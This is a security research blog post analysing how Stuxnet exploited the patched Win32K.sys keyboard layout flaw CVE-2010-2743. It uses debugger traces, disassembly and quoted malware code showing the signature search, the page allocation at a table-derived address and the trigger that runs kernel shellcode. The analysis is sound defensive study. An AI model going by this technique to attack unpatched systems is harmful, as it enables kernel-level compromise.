About Us | Contact Us    

 


 

VUPEN Research

 
  VUPEN Research Team
  VUPEN Research Blog
  VUPEN Research Videos
 
   

VUPEN Vulnerability Research Team (VRT) Blog

 
Technical Analysis of the Windows Win32K.sys Keyboard Layout Stuxnet Exploit
 
Published on 2010-10-18 12:53:38 UTC by Sebastien Renaud, Security Researcher @ VUPEN

Twitter LinkedIn Delicious Digg Slashdot

Hi everyone,

This time we will share very interesting technical details on how Stuxnet authors have achieved reliable code execution while exploiting one of the two Windows privilege escalation 0-Day vulnerabilities. This one was patched last week with the MS10-073 update, and a remaining Task Scheduler vulnerability is still unpatched.

While we deeply analyzed Stuxnet and its behaviors, we will not explain its architecture or features as two detailed documents have already been published by our friends from Symantec and ESET.

We will focus here on the Windows Win32K.sys keyboard layout vulnerability (CVE-2010-2743) and how it was exploited by Stuxnet using custom Portable Executable (PE) parsing tricks to achieve a reliable code execution.

1. Technical Analysis of the Vulnerability

This specific vulnerability exists within the Windows kernel-mode driver "win32k.sys" that does not properly index a table of function pointers when loading a keyboard layout from disk.

Usually keyboard layout files are loaded through the "LoadKeyboardLayout()" function which is a wrapper around the "NtUserLoadKeyboardLayoutEx()" win32k syscall.

Below is a kernel stack trace when loading a keyboard layout file:
 
 
kd> kn
# ChildEBP RetAddr
00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo
01 b0982958 bf889720 win32k!ChangeForegroundKeyboardTable+0x11c
02 b0982978 bf87580e win32k!xxxSetPKLinThreads+0x37
03 b09829f0 bf875588 win32k!xxxLoadKeyboardLayoutEx+0x395
04 b0982d40 8053d658 win32k!NtUserLoadKeyboardLayoutEx+0x164
05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fccc 00402347 ntdll!KiFastSystemCallRet ; (transition from user to kernel)

 

Once a crafted file is loaded by the Win32K kernel driver, the malware sends an event to the keyboard input stream to effectively trigger the vulnerability. This was achieved by calling the "user32!SendUserInput()" function which, in turn, calls "win32k!NtUserSendInput()" and ultimately the "win32k!xxxKENLSProcs()" function:

 
kd> kn
# ChildEBP RetAddr
00 b0a5ac88 bf848c64 win32k!xxxKENLSProcs
01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9
02 b0a5ace4 bf8c341b win32k!xxxInternalKeyEventDirect+0x158
03 b0a5ad0c bf8c3299 win32k!xxxSendInput+0xa2
04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd
05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet
07 0012fd7c 00401ded USER32!NtUserSendInput+0xc
WARNING: Stack unwind information not available. Following frames may be wrong.
08 0012fdac 00401331 CVE_2010_2743+0x1ded

 

Inside the "win32k!xxxKENLSProcs()" function, the Win32K driver retrieves a byte from the keyboard layout file which was previously loaded. This byte is set into the ECX register and then used as an index in an array of function pointers:

 
; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;

.text:BF8A1F50 movzx ecx, byte ptr [eax-83h]  // ECX is attacker-controlled
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4]        // indexed call in function array

 

The aNLSVKFProc function array contains three functions and is followed by an array of byte values:

 
.data:BF99C4B8 _aNLSVKFProc   dd offset _NlsNullProc@12
.data:BF99C4BC                        dd offset _KbdNlsFuncTypeNormal@12
.data:BF99C4C0
                        dd offset _KbdNlsFuncTypeAlt@12
.data:BF99C4C4 _aVkNumpad db 67h
.data:BF99C4C5
                        db 68h
.data:BF99C4C6
                        db 69h
.data:BF99C4C7
                        db 0FFh
.data:BF99C4C8
                        db 64h
.data:BF99C4C9
                        db 65h
.data:BF99C4CA
                        db 66h
.data:BF99C4CB
                        db 0FFh
.data:BF99C4CC
                        db 61h
.data:BF99C4CD
                        db 62h
.data:BF99C4CE
                        db 63h
.data:BF99C4CF
                        db 60h
.data:BF99C4D0
                        db 6Eh
.data:BF99C4D1
                        db 0
.data:BF99C4D2
                        db 0
.data:BF99C4D3
                        db 0
[...]

 

If an index value greater than 2 is supplied, the code will treat data in the byte array as pointers.

If the index has a value of 5, the code in the "win32k!xxxKENLSProcs()" function will call the pointer at 0xBF99C4CC, which means that the code flow is redirected to 0x60636261.

 
kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk            
// index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal 
// index 1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt       
// index 2
bf99c4c4 ff696867                                               
// index 3
bf99c4c8 ff666564                                               
// index 4
bf99c4cc 60636261                                              
// index 5
[...]

 

As this address could be controlled from userland, an attacker can place a ring0 shellcode at this address to achieve code execution with kernel privileges.


2. Reliable Code Execution via PE Parsing

To get a reliable code execution with different versions of the "win32k.sys" driver while the aNLSVKFProc function array is not exported, Stuxnet authors had to ensure that the indexed data outside the aNLSVKFProc array will always be valid a pointer that can controlled from userland, and used in the "call" instruction.

To achieve this task the Stuxnet exploit parses the Win32K.sys file and does the following:

- Loads the win32K.sys file as a flat data file
- Gets some information from the PE header (number of sections, export and import data directories, etc.)
- Gets Timestamp info
- Gets .data section VA
- Gets .data section information
- Gets .text VA
- Gets .text section information
- Searches for a specific binary signature
- Searches for the NLSVKFProcs function array

Stuxnet uses a binary signature which is present in all "win32K.sys" driver versions (on Windows 2000 and Windows XP) whatever service packs or patches are installed on the target system.

This signature corresponds to the first 8 bytes of the "aulShiftControlCvt_VK_IBM02" variable (not exported), located in the .data section of the binary file:

 
.data:BF99C4DC _aulShiftControlCvt_VK_IBM02
.data:BF99C4DC
 db 91h
.data:BF99C4DD
 db 0
.data:BF99C4DE  db 3
.data:BF99C4DF  db 1
.data:BF99C4E0  db 90h
.data:BF99C4E1  db 0
.data:BF99C4E2  db 13h
.data:BF99C4E3  db 1

 

This signature is known to be:

- Present in all versions of Win32K drivers
- Unique
- Near the aNLSVKFProc function array

Once this signature is found, the malware uses an arbitrary range of - 1000 to +1000 bytes from the signature and starts searching for a pointer to the code section of the driver.

In the example below, the pointer at 0xBF99C478 (0xBF9332CA) is a pointer to the code section:

 
.data:BF99C470 07  00 00 00 00 00 00 00 CA 32 93 BF 59 1D 96 BF
.data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF

 

The above data dump looks like this when viewed from a code perspective:

 
.data:BF99C470 _fNlsKbdConfiguration db 7
.data:BF99C471                     align 8
.data:BF99C478 _aNLSKEProc                 dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C               dd offset _NlsLapseProc@12
.data:BF99C480                                     dd offset _NlsNullProc@12
[...]

 

When such a pointer is found, the malware applies the following algorithm to a particular pointer (remember that the code is currently stopped at 0xBF99C478, which we call "pLoc"):

- pLoc[0] and pLoc[2] must be the same pointers:

 
.data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
.data:BF99C480                                    dd offset _NlsNullProc@12

 

- pLoc[0] and pLoc[1] must not be the same pointers.

 
.data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
.data:BF99C480                                    dd offset _NlsNullProc@12

 

- pLoc[0] and pLoc[4] must not be the same pointers.

 
.data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
.data:BF99C480                                    dd offset _NlsNullProc@12
.data:BF99C484                                    dd offset _NlsSendParamVk@12

 

At that point, the malware knows that it may have found "_aNLSKEProc". For this, it checks if the pointer at this address is really a pointer to the NlsNullProc() function by searching for a RETN 0C instruction (opcodes: 0xC20C) in the very first bytes of the function:

 
.text:BF9332CA ; __stdcall NlsNullProc(x, x, x)
.text:BF9332CA _NlsNullProc@12 proc near
.text:BF9332CA                                  xor eax, eax
.text:BF9332CC
                                 inc eax
.text:BF9332CD
                                 retn 0Ch   // opcodes: 0xC2 0x0C
.text:BF9332CD _NlsNullProc@12 endp

 

Below is an excerpt of the Stuxnet malware doing this opcode search:
 
 
CPU Disasm
10002C5F PUSH 2
10002C61 ADD ECX,DWORD PTR SS:[LOCAL.5]    
// ecx points to func. code
10002C64 |XOR EAX,EAX
10002C66 |POP EDI                                            
// edi = 2
10002C67 |/TEST EAX,EAX
10002C69 ||JNE SHORT 10002C7E
10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2
// c2 0c => RETN 0c
10002C71 ||SETE AL                                           
// set AL on condition
10002C74 ||INC EDI
10002C75 ||CMP EDI,0A                                     
// check only for the first 8 bytes
10002C78 |\JB SHORT 10002C67

 

If the "RETN 0C" code is found, the code is currently located on the _aNLSKEProc variable (0xBF99C478):

 
.data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12
 

From there, the code searches for and goes to the next "NlsNullProc()" function pointer:

 
.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4
                                   dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
                                   dd offset _NlsNullProc@12
.data:BF99C4BC
                                   dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0
                                   dd offset _KbdNlsFuncTypeAlt@12
 

As we can see, it founds the non-exported aNLSVKFProc function array. To ensure this is the right variable, the malware does two more checks:

- Pointer at +2 cannot be NlsNullProc:

 
.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4
                                   dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
                                   dd offset _NlsNullProc@12
.data:BF99C4BC
                                   dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0
                                   dd offset _KbdNlsFuncTypeAlt@12
 

- Pointer at -2 canot be NlsNullProc:

 
.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4
                                   dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
                                   dd offset _NlsNullProc@12
.data:BF99C4BC
                                   dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0
                                   dd offset _KbdNlsFuncTypeAlt@12
 

Once all these checks are passed, the malware is now pretty sure that it is on aNLSVKFProc. It then checks starting from the function array for the first user-mode pointer:

 
CPU Disasm
10002B35 MOV EDI,10000                                                      // edi = 0x10000
10002B3A /MOV ECX,DWORD PTR SS:[ARG.2]                 
       // _aNLSVKFProc
10002B3D |MOVZX EAX,BL
10002B40 |MOV ESI,DWORD PTR DS:[EAX*4+ECX]          
       // esi = _aNLSVKFProc[i]
10002B43 |CMP ESI,7FFF0000                                          
      // must be in user space
10002B49 |JNB SHORT 10002B91
10002B4B |CMP DWORD PTR SS:[ARG.6],0
10002B4F |JNE SHORT 10002B55
10002B51 |CMP ESI,EDI                                                  
      // must be above 0x10000
10002B53 |JB SHORT 10002B91
10002B55 |PUSH 1C
10002B57 |LEA EAX,[LOCAL.10]
10002B5A |PUSH EAX
10002B5B |PUSH ESI                                                       
     // pointer outside array
10002B5C |CALL DWORD PTR DS:[VirtualQuery_p]           
 
     // get page information
10002B62 |CMP EAX,1C
10002B65 |JA SHORT 10002BA7
10002B67 |CMP DWORD PTR SS:[LOCAL.6],EDI                     
// is it a MEM_FREE page?
10002B6A |JNE SHORT 10002B91
10002B6C |PUSH 40
10002B6E |PUSH 3000
10002B73 |LEA EAX,[LOCAL.3]
10002B76 |PUSH EAX
10002B77 |PUSH 0
10002B79 |LEA EAX,[LOCAL.1]
10002B7C |PUSH EAX
10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI
10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p]
10002B86 |PUSH EAX
10002B87 |CALL DWORD PTR DS:[NtAllocateVirtualMemory_p]
// alloc page
10002B8D |TEST EAX,EAX
10002B8F |JE SHORT 10002BB0
10002B91 |INC BL
10002B93 |CMP BL,0FF                                                         
// i <= 255
10002B96 \JBE SHORT 10002B3A

 

The above code snippet, extracted from Stuxnet, extracts pointers from the table (even outside the table) and checks if the pointer is below 0x7FFF0000 (first address outside userland addresses) and above 0x10000.

The code checks if the page is not already mapped. If it is not, the page is allocated. In our example, this would lead to allocate the page containing the address 0x60636261:

 
kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk             // index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal 
// index 1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt       
// index 2
bf99c4c4 ff696867                                               
// index 3
bf99c4c8 ff666564                                               
// index 4
bf99c4cc 60636261                                              
// index 5
[...]

 

Once the page is allocated, the malware does the following:

- Copies a shellcode to that address (0x60636261).
- Saves the malicious index (5 in our example) in a keyboard layout file.
- Loads the layout file and sends the input event to trigger the vulnerability

This last step leads to "win32k!xxxKENLSProcs()" and to the indexed call, leading to arbitrary code execution of the shellcode with kernel privileges.

 
; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;

.text:BF8A1F50 movzx ecx, byte ptr [eax-83h]      // ECX = 5
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4]            // Call 0x60636261

 

As we can see, the custom PE parsing used in Stuxnet ensures that whatever the operating system is (2000 or XP) and the service packs or patches are installed, the function array can be reliably found and the vulnerability exploited.

This method could be improved or implemented differently, but it does its job as expected and it demonstrates, once again, that malware authors are getting smarter.

Copyright VUPEN Security

 

VUPEN Solutions  

 


 

 

 

 

 

 

 

 

 

2004-2014 VUPEN Security - Copyright - Privacy Policy